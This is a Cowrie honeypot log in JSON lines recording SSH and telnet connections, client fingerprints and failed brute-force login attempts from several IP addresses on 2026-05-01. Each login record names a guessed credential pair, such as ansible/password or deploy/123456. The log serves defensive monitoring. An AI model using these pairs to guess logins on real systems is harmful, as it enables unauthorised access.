{"eventid":"cowrie.login.failed","username":"ali","password":"ali2023","message":"login attempt [ali/ali2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:21.184386Z","src_ip":"156.227.233.77","session":"14b971975405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:22.346953Z","src_ip":"156.227.233.77","session":"14b971975405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50384,"dst_ip":"159.203.135.109","dst_port":23,"session":"670fed3d5ccb","protocol":"telnet","message":"New connection: 62.171.135.55:50384 (159.203.135.109:23) [session: 670fed3d5ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:31.371814Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55842,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d5c9e6ce398","protocol":"ssh","message":"New connection: 159.203.92.129:55842 (159.203.135.109:22) [session: 4d5c9e6ce398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:34.176744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:34.181359Z","src_ip":"159.203.92.129","session":"4d5c9e6ce398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:34.186131Z","src_ip":"159.203.92.129","session":"4d5c9e6ce398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"password","message":"login attempt [ansible/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:34.197555Z","src_ip":"159.203.92.129","session":"4d5c9e6ce398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:35.218626Z","src_ip":"159.203.92.129","session":"4d5c9e6ce398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35314,"dst_ip":"159.203.135.109","dst_port":23,"session":"a85454cc6852","protocol":"telnet","message":"New connection: 62.171.135.55:35314 (159.203.135.109:23) [session: a85454cc6852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:43.484025Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":41992,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e3a22c249f2","protocol":"ssh","message":"New connection: 43.159.177.40:41992 (159.203.135.109:22) [session: 4e3a22c249f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:44.050804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:44.063632Z","src_ip":"43.159.177.40","session":"4e3a22c249f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:44.128268Z","src_ip":"43.159.177.40","session":"4e3a22c249f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4321","message":"login attempt [ubuntu/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:44.400091Z","src_ip":"43.159.177.40","session":"4e3a22c249f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:45.475568Z","src_ip":"43.159.177.40","session":"4e3a22c249f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.248234272003174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:46.158349Z","src_ip":"62.171.135.55","session":"fd52f9cd25ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53640,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a2db7c6e58","protocol":"telnet","message":"New connection: 62.171.135.55:53640 (159.203.135.109:23) [session: 42a2db7c6e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:46:49.015524Z"}
{"eventid":"cowrie.session.closed","duration":31.251813411712646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:02.623519Z","src_ip":"62.171.135.55","session":"670fed3d5ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568758964538574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:14.052536Z","src_ip":"62.171.135.55","session":"a85454cc6852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54646,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fd6a31a67b6","protocol":"ssh","message":"New connection: 159.203.92.129:54646 (159.203.135.109:22) [session: 4fd6a31a67b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:18.905866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:18.910952Z","src_ip":"159.203.92.129","session":"4fd6a31a67b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:18.915859Z","src_ip":"159.203.92.129","session":"4fd6a31a67b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"password!123","message":"login attempt [ansible/password!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:18.927251Z","src_ip":"159.203.92.129","session":"4fd6a31a67b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:19.950910Z","src_ip":"159.203.92.129","session":"4fd6a31a67b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.082634449005127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:20.098052Z","src_ip":"62.171.135.55","session":"42a2db7c6e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.155.106","src_port":9336,"dst_ip":"10.17.0.5","dst_port":22,"session":"986f7077562c","protocol":"ssh","message":"New connection: 199.45.155.106:9336 (10.17.0.5:22) [session: 986f7077562c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:31.902597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:31.983342Z","src_ip":"199.45.155.106","session":"986f7077562c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:32.585834Z","src_ip":"199.45.155.106","session":"986f7077562c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":59660,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d889e96d8fc","protocol":"ssh","message":"New connection: 43.159.177.40:59660 (159.203.135.109:22) [session: 9d889e96d8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:34.109183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:34.113837Z","src_ip":"43.159.177.40","session":"9d889e96d8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:34.180690Z","src_ip":"43.159.177.40","session":"9d889e96d8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2024","message":"login attempt [user/2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:34.446641Z","src_ip":"43.159.177.40","session":"9d889e96d8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:35.521155Z","src_ip":"43.159.177.40","session":"9d889e96d8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:47:47.038631Z","src_ip":"199.45.155.106","session":"986f7077562c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49208,"dst_ip":"159.203.135.109","dst_port":22,"session":"5997fa5c60fe","protocol":"ssh","message":"New connection: 159.203.92.129:49208 (159.203.135.109:22) [session: 5997fa5c60fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:02.041998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:02.047498Z","src_ip":"159.203.92.129","session":"5997fa5c60fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:02.054268Z","src_ip":"159.203.92.129","session":"5997fa5c60fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"password12#$","message":"login attempt [ansible/password12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:02.074466Z","src_ip":"159.203.92.129","session":"5997fa5c60fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:03.087279Z","src_ip":"159.203.92.129","session":"5997fa5c60fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":49090,"dst_ip":"159.203.135.109","dst_port":22,"session":"845744691040","protocol":"ssh","message":"New connection: 43.159.177.40:49090 (159.203.135.109:22) [session: 845744691040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:25.750974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:25.758515Z","src_ip":"43.159.177.40","session":"845744691040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:25.824469Z","src_ip":"43.159.177.40","session":"845744691040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:26.093854Z","src_ip":"43.159.177.40","session":"845744691040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:27.174592Z","src_ip":"43.159.177.40","session":"845744691040","protocol":"ssh"}
